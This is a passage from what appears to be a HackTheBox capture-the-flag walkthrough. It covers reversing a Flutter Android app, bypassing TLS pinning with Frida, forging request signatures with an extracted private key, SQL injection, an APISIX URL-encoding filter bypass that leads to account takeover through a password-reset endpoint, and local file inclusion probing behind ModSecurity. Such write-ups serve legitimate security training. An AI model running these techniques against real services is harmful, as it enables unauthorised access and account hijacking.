<meta-data android:name="io.flutter.embedding.android.NormalTheme" android:resource="@style/NormalTheme"/>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<meta-data android:name="flutterEmbedding" android:value="2"/>
</application>
</manifest>
A few things jump out:
- The package name is
htb.pokatmon.pokatmon_app
, which I’ll need later. - The function that is called on start is
MainActivity
in that package. - There are multiple references to Flutter.
The assets/flutter_assets
directory also suggests this application is made with Flutter, a framework for building mobile applications.
Find Code
This post talks about reversing applications that are made with Flutter. I can check for a debug mode application at assets/flutter_assets/kernel_blob.bin
, but there’s nothing there. For a release mode application, I’ll find libflutter.so
in lib/[arch]/
, and that’s the case here:
oxdf@hacky$ ls lib/x86_64/lib
libapp.so libflutter.so
libapp.so
is the compiled application. In theory, I can import this into Ghidra and take a look, or work with some of the tools in that post, but I’m going to start with dynamic analysis instead.
Other Files
Before I move on, I will take a look at the files in the application. I can try taking a look at the smali
directory, as that’s typically the most human-readable code. Unfortunately, it’s just an incredibly obfuscated mess. This is the result of the app’s being built with the --obfuscate
flutter option.
The flutter_assets
directory does has a keys
directory:
oxdf@hacky$ ls assets/flutter_assets/
AssetManifest.json FontManifest.json fonts images keys NOTICES.Z packages
Inside it there is a public and private RSA key pair:
oxdf@hacky$ ls assets/flutter_assets/keys/
private.pem public.pem
I’ll use these later.
Configure Emulator
There are several Android emulators out there. My preferred one is Genymotion, as it’s just the easiest to get a VM created and running (shown previously in RouterSpace and 2019 Flare-On Flarebear). Ippsec has a really nice video showing how to get the Genymotion Android emulator running (inside a VM). I’ll follow similar steps here to get a VM running, install the Pokatmon application, and have network traffic proxied through Burp to look at the traffic coming out of the application.
Installing Emulator
Because I’m going to run VirtualBox (Genymotion) inside of VirtualBox (my VM), I’ll need to make sure my VM has nested virtualization enabled (and that it’s enabled in my BIOS):
I’ll also make sure it has as many processors and RAM as I can give it, as the Android VM will want 4GB of RAM and 4 processors as a minimum.
I’ll start by getting the prereq packages installed for Genymotion with sudo apt install virtualbox adb
. Next, I’ll get the latest installed from the Genymotion download page, set it as executable, and run it:
oxdf@hacky$ chmod +x ~/Downloads/genymotion-3.5.0-linux_x64.bin
oxdf@hacky$ ~/Downloads/genymotion-3.5.0-linux_x64.bin
Installing for current user only. To install for all users, restart this installer as root.
Installing to folder [/home/oxdf/genymotion]. Are you sure [y/n] ? y
- Extracting files ..................................... OK (Extract into: [/home/oxdf/genymotion])
- Installing launcher icon ............................. OK
Installation done successfully.
You can now use these tools from [/home/oxdf/genymotion]:
- genymotion
- genymotion-shell
- gmtool
oxdf@hacky$ cd genymotion
oxdf@hacky$ ./genymotion
Logging activities to file: /home/oxdf/.Genymobile/genymotion.log
This launches a brief setup. I’ll have to register an account or login with my account, and select the free for personal use option. Eventually it launches the emulator:
Create a VM
The plus button at the top right will start the process of adding a new virtual device. In the first window, I’ll filter on Pixel to get a clean Android experience, and select the newest one, the Pixel 3XL:
On the next page, I’ll leave everything as is:
Android 12 is almost two years old (released in October 2021), but it is still widely in use in 2023, so it should be good enough for what I need here.
The next page sets the hardware, which I’ll leave as the default:
I’ll let the next three pages be default as well, and when I finish, it starts creating the device:
Once that’s done, it pops up to let me know:
I’ll click start, and it moves to “Booting”. This can take a while - I think it’s just that doing VirtualBox inside VirtualBox like this is slow. Once it’s done, I’ll have a virtual Android device:
Install Pokatmon
adb
is the Android debugger, a command line tool to interface with attached Android devices. Genymotion launches in such a way that the device is visible to adb
, attached as if plugged in as a USB device:
oxdf@hacky$ adb devices
List of devices attached
192.168.56.102:5555 device
To install the application on the virtual phone, I’ll use adb install
:
oxdf@hacky$ adb install pokatmon-app.apk
Performing Streamed Install
Success
Now pulling up from the bottom on the phone, the application is there:
Clicking on it will launch it:
The “Invite Code” field seems to only take digits and upper-case characters. Putting some junk in and clicking “Join Beta” returns:
Genymotion is smart enough to use my /etc/hosts
file. If I comment out the domains I set earlier and click again, it shows:
If I watch in Wireshark for this connection (with the IP set in hosts
), I’ll see it’s happening over 443 / TLS, so I can’t snoop this way.
Remount Read/Write
If I try to write to most of the filesystem right now, it will fail, as /
is mounted read only. For example:
oxdf@hacky$ adb push test.txt /
adb: error: failed to copy 'test.txt' to '/test.txt': remote couldn't create file: Read-only file system
test.txt: 0 files pushed. 0.0 MB/s (21 bytes in 0.003s)
I’ll get a shell on the device and run mount
to see that /
is mounted “ro” for read only:
oxdf@hacky$ adb shell
vbox86p:/ # mount
tmpfs on /dev type tmpfs (rw,seclabel,nosuid,relatime,mode=755)
devpts on /dev/pts type devpts (rw,seclabel,relatime,mode=600,ptmxmode=000)
proc on /proc type proc (rw,relatime,gid=3009,hidepid=invisible)
sysfs on /sys type sysfs (rw,seclabel,relatime)
selinuxfs on /sys/fs/selinux type selinuxfs (rw,relatime)
tmpfs on /mnt type tmpfs (rw,seclabel,nosuid,nodev,noexec,relatime,mode=755,gid=1000)
/dev/block/sda4 on / type ext4 (ro,seclabel,nodev,noatime)
...[snip]...
I can fix this by remounting the disk. I’ll first run su
to get full root, and then mount
with the remount
option:
vbox86p:/ # su
:/ # mount -o remount,rw /
Now if I push
a file, it works:
oxdf@hacky$ adb push test.txt /
test.txt: 1 file pushed. 0.0 MB/s (21 bytes in 0.036s)
Add Burp Certificate
Now I want to get the phone to trust the certificates generated by Burp so that connections to my proxy will be trusted. This step isn’t actually required for how I ended up solving this part of PikaTwoo, but I wanted to show the steps I took to help explain my thinking.
With Burp proxy enabled, I’ll fetch the certificate from localhost:8080/cert
and convert it to the pem format:
oxdf@hacky$ curl localhost:8080/cert -o burp.der
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 940 100 940 0 0 79097 0 --:--:-- --:--:-- --:--:-- 85454
oxdf@hacky$ openssl x509 -inform der -in burp.der -out burp.pem
I need to rename it to a specific value based on a hash of the certificate. For this certificate, it will always be 9a5ba575.0
, where 9a5ba575
can be determined here:
oxdf@hacky$ openssl x509 -inform pem -subject_hash_old -in burp.pem
9a5ba575
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIFAMZY3r0wDQYJKoZIhvcNAQELBQAwgYoxFDASBgNVBAYT
C1BvcnRTd2lnZ2VyMRQwEgYDVQQIEwtQb3J0U3dpZ2dlcjEUMBIGA1UEBxMLUG9y
dFN3aWdnZXIxFDASBgNVBAoTC1BvcnRTd2lnZ2VyMRcwFQYDVQQLEw5Qb3J0U3dp
Z2dlciBDQTEXMBUGA1UEAxMOUG9ydFN3aWdnZXIgQ0EwHhcNMTQwMjIwMTY0OTEy
WhcNMzMwMjIwMTY0OTEyWjCBijEUMBIGA1UEBhMLUG9ydFN3aWdnZXIxFDASBgNV
BAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0U3dpZ2dlcjEUMBIGA1UEChML
UG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2lnZ2VyIENBMRcwFQYDVQQDEw5Q
b3J0U3dpZ2dlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKRW
lMjbEyu5K8bxI/RCiMhB356Z/+idwkYEt6uS7AvZ+3ngLK+AjS4sxQQHUruUP+Qf
QZ6TaCPuKgwfLjTg1xsSo9lM00oVcmxFRsT6Q5egHbsae3QCNSR02snm2ciGhCOl
t9Ers8mq0yegdzuUwayUwXghrYdOSKOuO3+w3YH7VLdamkVrVNr0Ip0e9yjzS9b9
F7pLfERd3eISRjze4QHpd7N+vzNilqQSzoKWTMIfL8M09zfrqinbzeExKYBWPxTW
d/oEUHTLnJaLhcyM/wZJo66powKUhTLWYPOdEKgiO43+AlkpHDN0FCFdhwNNIXSr
SNLEykz/XOusPQUKRisCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG
9w0BAQsFAAOCAQEAPfM2VJvS7cdaEiJpV+5UZlXonx2Y4JIynd8waUeKQqIiq3IR
LbjpXHURb3URuo7zTlHU3Hpgtwexm9P1wfoO8s0M9YnffKO+/PPp5WOE/hA5nAhM
yuMqjakYUV1VwgCW7bZ7h9Cgeq45rvWg8IiPx/0Ihsy7lu5CPTuByAcNrs6gJd1h
/tbDVj2SDLyP86lKSFclIRTIffA7e2HWrSlNgcdVCz0vLwoyCCheCa0DpPBGfCQp
9+9uDR9zQvc29J5NluBjnY1t55BXlAcVhYoY/+aJsajFlb0wb/TQaGLLeOi4Gfbp
UyURMzRZxjckyV/FeIQtoD19PepLcXVObaVBwA==
-----END CERTIFICATE-----
oxdf@hacky$ cp burp.pem 9a5ba575.0
I’ll enable that on the Android device with adb
:
oxdf@hacky$ adb push 9a5ba575.0 /system/etc/security/cacerts/
9a5ba575.0: 1 file pushed. 0.1 MB/s (1330 bytes in 0.015s)
I’ll set my host as the proxy for the device with adb
as well (where 10.0.2.5 is the IP of my host):
oxdf@hacky$ adb shell settings put global http_proxy 10.0.2.5:8080
I’ll make sure that Burp is listening on all interfaces under Proxy > Proxy Settings > Proxy Listeners:
Now opening the WebViewer test browser and visiting a page, the request shows up in Burp:
Unfortunately, traffic from the application still doesn’t show up in Burp.
Install Frida
My best guess as to why this is failing is due to certificate pinning, which is where the application doesn’t just accept any certificate that is valid according to the OS cert store, but rather limits to known good certs to prevent just this kind of attacker in the middle attack.
Frida is a toolset for “dynamic instrumentation” of mobile applications. It is kind of like Tampermonkey for mobile applications. This page has instructions for getting it installed for Android.
I’ll run pipx install frida-tools
to get that part installed on my VM.
I also need the Frida server on the emulated Pixel. I’ll need to know the architecture of the Pixel, which I can check with adb shell
to see it’s x86_64:
oxdf@hacky$ adb shell getprop ro.product.cpu.abi
x86_64
I’ll go to the latest release page, and among the many files, find the frida-server-[version]-android-x86_64.xz
file. I’ll unzip the resulting file with 7z x frida-server-16.1.3-android-x86_64.xz
, which gives a single executable file.
Following the instructions, I’ll upload it and set it executable:
oxdf@hacky$ adb push frida-server-16.1.3-android-x86_64 /data/local/tmp/frida-server
frida-server-16.1.3-android-x86_64: 1 file pushed. 53.7 MB/s (108121848 bytes in 1.921s)
oxdf@hacky$ adb shell "chmod 755 /data/local/tmp/frida-server"
While the instructions don’t show this, I found in experimenting that I’ll need to run Frida as full root, so I’ll get a shell, su
, and run it:
oxdf@hacky$ adb shell
vbox86p:/ # su
:/ # chmod 755 /data/local/tmp/frida-server
:/ # /data/local/tmp/frida-server
The last command just hangs, but in another windows I can do frida-ls -U
to get a file listing of the mobile device (/test.txt
is there from earlier):
oxdf@hacky$ frida-ls -U
drwxr-xr-x 23 root root 4096 Mon Aug 28 19:27:38 2023 .
drwxr-xr-x 23 root root 4096 Mon Aug 28 19:27:38 2023 ..
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 acct
drwxr-xr-x 23 root root 480 Mon Aug 28 10:50:46 2023 apex
lrw-r--r-- 1 root root 11 Mon Jan 23 11:26:15 2023 bin -> /system/bin
lrw-r--r-- 1 root root 50 Mon Jan 23 11:26:15 2023 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxrwx--- 6 system cache 4096 Mon Aug 28 10:50:51 2023 cache
drwxr-xr-x 3 root root 0 Mon Aug 28 10:50:44 2023 config
lrw-r--r-- 1 root root 17 Mon Jan 23 11:26:15 2023 d -> /sys/kernel/debug
drwxrwx--x 49 system system 4096 Mon Aug 28 10:55:41 2023 data
drwx------ 6 root system 120 Mon Aug 28 10:50:53 2023 data_mirror
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 debug_ramdisk
drwxr-xr-x 24 root root 3020 Mon Aug 28 10:52:21 2023 dev
lrw-r--r-- 1 root root 11 Mon Jan 23 11:26:15 2023 etc -> /system/etc
lrwxr-x--- 1 root shell 16 Mon Jan 23 11:26:15 2023 init -> /system/bin/init
-rwxr-x--- 1 root shell 463 Mon Jan 23 10:24:12 2023 init.environ.rc
drwxr-xr-x 10 root root 240 Mon Aug 28 10:50:46 2023 linkerconfig
drwx------ 2 root root 16384 Mon Jan 23 11:26:18 2023 lost+found
drwxr-xr-x 16 root system 340 Mon Aug 28 10:50:48 2023 mnt
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 odm
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 odm_dlkm
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 oem
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 postinstall
dr-xr-xr-x 254 root root 0 Mon Aug 28 10:50:45 2023 proc
lrw-r--r-- 1 root root 15 Mon Jan 23 11:26:15 2023 product -> /system/product
lrw-r--r-- 1 root root 11 Mon Jan 23 11:26:15 2023 sbin -> /system/bin
lrw-r--r-- 1 root root 21 Mon Jan 23 11:26:15 2023 sdcard -> /storage/self/primary
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 second_stage_resources
drwx--x--- 4 shell everybody 80 Mon Aug 28 10:50:48 2023 storage
dr-xr-xr-x 13 root root 0 Mon Aug 28 10:50:45 2023 sys
drwxr-xr-x 17 root root 4096 Mon Jan 23 11:04:02 2023 system
lrw-r--r-- 1 root root 18 Mon Jan 23 11:26:15 2023 system_ext -> /system/system_ext
-rw-r--r-- 1 root root 21 Fri Aug 25 20:57:38 2023 test.txt
lrw-r--r-- 1 root root 15 Mon Jan 23 11:26:15 2023 tmp -> /data/local/tmp
lrw-r--r-- 1 root root 14 Mon Jan 23 11:26:15 2023 vendor -> /system/vendor
drwxr-xr-x 2 root root 4096 Mon Jan 23 10:24:12 2023 vendor_dlkm
Dynamic Analysis
Strategy
My goal here is to get the application to make its “Join Beta” request in a manner I can see it. To get the traffic going to, I’m going to update my hosts
file so that it thinks my IP is api.pokatmon-app.htb
. Then I’ll have Burp listen on 443 forwarding requests to the real PikaTwoo server.
For this to work, I’ll need to get around the TLS certificate pinning. I’ll use Frida to inject a script into the application that patches out that check.
Setup
I’ll update my hosts
file so that api.pkatmon-app.htb
points at my IP, 10.0.2.5.
I’ll need Burp listening on 443. I’ll have to run it as root to get this, and then I’ll add a new listener:
The request will be coming directly to this listening, rather than as a proxy, so I’ll need to tell it where to go. Under “Request handling”, I’ll configure it to go to PikaTwoo:
“Support invisible proxing” is important here, as that’s what tells Burp to decode the TLS connection and start a new one to PikaTwoo.
Finally, I need to inject this script from NVISO. It disables the TLS verification for a Flutter application. Looking at the JavaScript, it has some regex that match on different bytecodes for different OS / architectures:
It looks through memory for these patterns, and then replaces the assembly in such a way to effectively disable the TLS check.
I’ll use the application name I found above, and inject this with frida
using -U
for USB device, -f [app name]
and -l [script]
:
oxdf@hacky$ frida -U -f htb.pokatmon.pokatmon_app -l disable-flutter-tls.js
____
/ _ | Frida 16.1.3 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Pixel 3 XL (id=192.168.56.106:5555)
Spawning `htb.pokatmon.pokatmon_app`...
[+] Java environment detected
Spawned `htb.pokatmon.pokatmon_app`. Resuming main thread!
[Pixel 3 XL::htb.pokatmon.pokatmon_app ]-> [+] libflutter.so loaded
[+] Flutter library found
[!] ssl_verify_peer_cert not found. Trying again...
[+] ssl_verify_peer_cert found at offset: 0x3c43fe
Running this kills the app if it’s already running and relaunches it. It reports that it found the target function (ssl_verify_peer_cert
) in memory in libflutter.so
and patched it.
Make Request
I’ll enter anything into the fields on the application, and click “Join Beta”. It reports “Invalid code”, which is a good sign it was able to talk to the server:
In Burp there’s a HTTP stream with the POST request and the response:
Identify Signing
I’ll send this request over to Repeater to take a look. I’m able to send it again and get the same response:
If I change the code at all, the response changes to “invalid signature”:
There is an authorization
header that has a signature in it. If I go back to the app and submit with a “2” on the end of the code (to match what I added in Repeater above), the request has a different signature
header and it returns “invalid code”. This suggests that the application is signing each request and that the server is validating that.
Signing Messages
I noted above a private.pem
RSA key file. That seems like a good candidate for what is signing the requests. I’ll ask ChatGPT how to sign a message with an RSA key and bash
, and it suggests openssl
:
It’s suggesting signing a hash of the message. I’ll play around with different things, looking at the message, the hash of the message, with and without newlines on the message, etc. I’ll note that the hash is binary, and the header is base64, so I’ll encode the result as well. After some playing, I get this:
oxdf@hacky$ openssl dgst -sha256 -sign pokatmon-app/assets/flutter_assets/keys/private.pem <( echo -n "app_beta_mailaddr=0xdf&app_beta_code=111111") | base64
GDhVgeKSuzLDEK7+TZIm9xS3EKa6AKSEb/ioTaphZ5XAIoMpAGkDmSZD1ALjc+fX9F4VyGE1EXk7
H0Hk41w7XLTApqktJrb0lirhhLNkNM2x/JU8q6iaD9xxIOE3Vp7o01JrboWUw6I0oNSFwPZiCcOg
IzuQgbpa/G1RvWJGVvL47vHAQbs2lNFjblUuULxXgjzpM+OAYElaagvBH1XnVmrZAahj2QgX3ii6
CmlMxRrNfzgsePgV6V5RT61+uc2yIwcXHyNFHBj74x2/n4GOR1TpMhM3LCtUHTN7YUPchyzj48K2
oh24Jx+qCwsBopaLHwppwGLCNNQHMls16s53Aw==
This matches the signature header above! Now I can sign my own messages.
SQL Injection
Strategy
With the ability to sign my own requests, I can try different things, just updating the signature header each time. To start, I’ll just up arrow and edit the POST body to get the new signature. If that gets to be tiring, I could write a Python script that takes a body, generates the signature, sends the request, and returns the result.
SQL POC
I’ll try changing the “email” field to just a single quote. If this causes a crash, I can try more SQL injection payloads. I’ll generate a signautre:
oxdf@hacky$ openssl dgst -sha256 -sign pokatmon-app/assets/flutter_assets/keys/private.pem <( echo -n "app_beta_mailaddr='&app_beta_code=111111") | base64 -w 0; echo
ZVFVUMMNUgf8f1Pps/W8X+URSj+IJbf9+OOZYZGKSdaPmsHpxfl9VdAAJohpWsk1cHCP5m1Zr6/T09OCcEdvIGQvSYx6DN5XZcAyt6v984+LH6l5azsuE74V0uULsdebaXmuoDkCasd8Np6B1ebYFtBOzHNV+/ERyVJGatCwx6zKH1TDvQVvlhO48cNcbtkii5kTsY1tds4zKDnSwiHxWTfIS/MAOyO4dVL38uvyUf7iFJU+YrbySUgeNZlWKQlPYEoX86GdsS4dSLRZiXTXlsese8QxtCOKmQvATURXVkp0diKHaRIk1KLi4G81X9KNkivdrnh9EsNXs+S7Fa5TxQ==
On updating the signature (making sure to leave signature=
at the front) and body and sending, it returns 500 Server Error, which is definitely promising:
That could be SQL injection. I’ll see if I get back a “valid” message with an injection:
Not only is this valid, but it returns the email and the code! I was expecting to have to brute force these with SQL regex.
I could go on trying to extract more information from the DB, but this is all I need to continue with the box, and it’s a minor pain to do with the signing (though I think it could make a nice tamper script in sqlmap
).
Join Beta
With a valid email and code, I can join the beta. It fails trying to load www.pokatmon-app.htb
(over HTTP, not HTTPS):
I’ll update my hosts
file to include the www
subdomain, and it just loads the page I have already accessed on TCP 80:
Access to Docs
APISIX Vulns
Searching for APISIX vulnerabilities finds a few that this version should be vulnerable to:
- CVE-2022-24112 - An issue in the
X-REAL-IP
header that allows for bypassing IP restrictions, and, if the default Admin Key is present, the batch-requests plugin will allow for remote code execution. This POC will exploit the vuln, but it doesn’t work here (likely because the default admin key was changed). - CVE-2022-29266 - The
jwt-auth
plugin will leak the preconfigured secret. I haven’t seen any JWT in use here yet, so may not apply. - CVE-2022-25757 - If there are duplicate keys in JSON POST requests, it will accept the last version, allowing bad data to pass through scheme validation. I don’t really have an example where this might work to get me something at this point.
- CVE-2021-43557 - Before 2.10.2, the
uri-block
plugin uses the raw URL without normalization, mean that if^/internal
is blocked,//internal/
would bypass the block. This is particularly interesting as it is patch in the next version after 2.10.1 on PikaTwoo and because I’ve already identified thaturi-block
is running here.
Identify password-reset Endpoint
Manual CVE-2021-43557 Attempts
Given that I already identified uri-block
blocking anything with “private” above, it makes sense to try to abuse CVE-2021-43557 to get past that. Adding an extra /
doesn’t work as the example above:
oxdf@hacky$ curl -k https://10.10.11.199/private
{"error_msg":"access is not allowed"}
oxdf@hacky$ curl -k https://10.10.11.199//private
{"error_msg":"access is not allowed"}
In fact, anything with “private” anywhere seems to still get blocked:
oxdf@hacky$ curl -k https://10.10.11.199/0xdf/private
{"error_msg":"access is not allowed"}
However, if I URL encode a character, such as “p” -> “%70”, it returns a 404:
oxdf@hacky$ curl -k https://10.10.11.199/%70rivate
{"error_msg":"404 Route Not Found"}
This could be just failing to find that route (because I’m looking for something else besides /private
), or it could be that I need to find an endpoint in that directory.
feroxbuster
To explore if there is a private
directory, I’m going to create a custom wordlist where I replace all the instances of “private” with “%70rivate”:
oxdf@hacky$ cp /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt raft-medium-directories-modified.txt
oxdf@hacky$ sed -i 's/private/%70rivate/g' raft-medium-directories-modified.txt
Now when it tries /private
, it will encode it and if it is bypassing the filter, then it will work.
I’ll try feroxbuster
with that list in the /%70rivate
directory:
oxdf@hacky$ feroxbuster -k -u https://10.10.11.199/%70rivate -w raft-medium-directories-modified.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ https://10.10.11.199/%70rivate
🚀 Threads │ 50
📖 Wordlist │ raft-medium-directories-modified.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 4w 36c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
405 GET 4l 23w 178c https://10.10.11.199/%70rivate/login
200 GET 1l 2w 43c https://10.10.11.199/%70rivate/password-reset
[####################] - 1m 30000/30000 0s found:2 errors:0
[####################] - 1m 30000/30000 401/s https://10.10.11.199/%70rivate/
feroxbuster
finds two interesting results:
/private/login
returns 405 method not allowed. I should look at a POST request for that endpoint./private/password-reset
returns 200!
Reset roger.foster’s Password
login
The /private/login
endpoint with a POST request returns details about what is missing and I can build a valid request:
oxdf@hacky$ curl -k https://10.10.11.199/%70rivate/login
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/login
{"error":"missing parameter email"}
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/login -d 'email=0xdf@pokatmon-app.htb'
{"error":"missing parameter password"}
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/login -d 'email=0xdf@pokatmon-app.htb&password=0xdf0xdf'
{"error":"invalid credentials"}
I’ll try with the roger.foster email, and it returns the same thing:
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/login -d 'email=roger.foster37@freemail.htb&password=0xdf0xdf'
password-reset
Trying this endpoint manually returns usage as well:
oxdf@hacky$ curl -k https://10.10.11.199/%70rivate/password-reset
{"error":"usage: /password-reset/<email>"}
If it gets an unknown email, it says so:
oxdf@hacky$ curl -k https://10.10.11.199/%70rivate/password-reset/0xdf@freemail.htb
{"error":"unknown email address"}
But with the email from the beta registration, it returns a token:
oxdf@hacky$ curl -k https://10.10.11.199/%70rivate/password-reset/roger.foster37@freemail.htb
{"token":"80231a4e69475fe9fe2bf8909796e92e80304c8ab28a6ebcf4560fa6907024df"}
If I try to POST to /private/password-reset
, it returns 405 Method Not Allowed. But if I include the email, then it asks for a token and a password:
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/password-reset
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/password-reset/roger.foster37@freemail.htb
{"error":"missing parameter token"}
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/password-reset/roger.foster37@freemail.htb -d 'token=80231a4e69475fe9fe2bf8909796e92e80304c8ab28a6ebcf4560fa6907024df'
{"error":"missing parameter new_password"}
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/password-reset/roger.foster37@freemail.htb -d 'token=80231a4e69475fe9fe2bf8909796e92e80304c8ab28a6ebcf4560fa6907024df&new_password=0xdf0xdf'
{"success":"password changed"}
It reports to have changed the password! Trying the /private/login
endpoint now reports success:
oxdf@hacky$ curl -k -X POST https://10.10.11.199/%70rivate/login -d 'email=roger.foster37@freemail.htb&password=0xdf0xdf'
{"success":"user authenticated"}
Docs Form
I have a username and password, but I need somewhere to use it. It’s not unreasonable to think that the login form on http://www.pokatmon-app.htb
might use this API on the backend to validate logins. I’ll try the newly reset creds there, and it works:
Shell as www in pokatdex-api Pod
pokatdex-api-v1 Enumeration
In Swagger
The page behind the login form is a Swagger page, which provides documentation and buttons to try the API endpoints. The last three “Return Pokatmon data for the [region] region”, for “Chantoo”, “Oohen”, and “Jiotto” regions.
If I execute /chantoo
(after adding the new subdomain to /etc/hosts
so that it can resolve), it returns JSON data with a list of monster:
The first endpoint, /
, takes a region
as a GET parameter. Giving it “chantoo” returns the same data as the /chantoo
endpoint:
If I try to send something that isn’t a region, it returns an error:
Interestingly, in the error payload there’s a reference to that it’s not in debug mode.
curl
I’m curious to see if I can set debug
to true. I’ll move to curl
, first with the same command to make sure it works:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=0xdf'
{"error": "unknown region", "debug": "false"}
Now adding debug=true
:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=0xdf&debug=true'
{"error": "unknown region", "debug": include(): Failed opening 'regions/0xdf' for inclusion (include_path='.:/usr/share/php')"}
So much information in here! This is a PHP API application. It’s trying to include the region data from a file in a regions
directory.
Identify nginx URI Rewrites
It’s interesting that the same data comes from /chantoo
and /?region=chantoo
. It could be two different end points, but it seems more likely that they are handled by the same code. This could be managed within PHP, or nginx could do a modification of the URI to get them to the same place.
To play with this, I’ll try enabling debug mode for the /chantoo
endpoint:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/chantoo?debug=true'
[{"name":"Bulbawater","abilities":["Scary Roar","Water Cannon"],"picture":"http://pokatdex.pokatmon.htb/images/1.png"},{"name":"SpiderEyes","abilities":["Spinner Web","Tail Flipper"],"picture":"http://pokatdex.pokatmon.htb/images/2.png"},{"name":"Gangtooth","abilities":["Crocodile Bite","Ghost Boo"],"picture":"http://pokatdex.pokatmon.htb/images/3.png"},{"name":"Taki Taki","abilities":["Fire from Mouth","Grasp of Death"],"picture":"http://pokatdex.pokatmon.htb/images/4.png"}]
Nothing changed. What about a non-existent region:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/0xdf?debug=true'
{"error": "unknown region", "debug": "false"}
It explicitly says that debug is false
. The GET parameter isn’t getting there.
One possibility is that nginx is taking the stuff after /
and rewriting that to /?region=[stuff]
. If that were the case, then the ?
in the request above would actually need to be a &
. I’ll try that, and it works:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/0xdf&debug=true'
{"error": "unknown region", "debug": include(): Failed opening 'regions//0xdf' for inclusion (include_path='.:/usr/share/php')"}
That’s a pretty weird URI, as typically &
comes after ?
. But given it works, that implies that something (probably nginx) is adding ?
to the URI already.
Cheating a bit ahead to where I get a shell and can look (at /etc/nginx/nginx.conf
in the container), the actual configuration for this server looks like:
location / {
try_files $uri $uri/ /index.php?region=$uri;
}
The location /
block is using try_files
to look at three different paths for this request:
$uri
- the base URI$uri/
- the base URI with a/
appended/index.php?region=$uri
- The URI as a parameter forindex.php
.
Local File Include
Identify Mod Security
This should be vulnerable to a local file include (LFI), which will give file read and potentially execution (if I can get a malicious PHP file onto disk where it can be included). Unfortunately, when I try to access ../../../../../../../etc/hosts
, it is blocked and returns 403:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=../../../../../../../etc/hosts&debug=true'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
In fact, having ..
in the parameter anywhere blocks it:
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=../&debug=true'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=..&debug=true'
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
oxdf@hacky$ curl 'http://pokatdex-api-v1.pokatmon-app.htb/?region=.&debug=true'
{"error": "unknown region", "debug": include(): Failed opening 'regions/.' for inclusion (include_path='.:/usr/share/php')"}
This feels like ModSecurity, a web application firewall that is popular in nginx (though phasing out in favor of another WAF).
CVE-2021-35368 Background
The default rule set used by ModSecurity is the OWASP ModSecurity Core Rule Set (CRS). There is a vulnerability in the CRS from June 2021 (CVE-2021-35368) that allows for bypassing the rules by abusing “trailing pathname information”.
This article goes into more detail about the issue. The CRS has this concept of Rule Exclusions (REs) that are written for various CMSs like Drupal, WordPress, etc. These are meant to disable rules that are known to generate false positives when working with that specific technology.
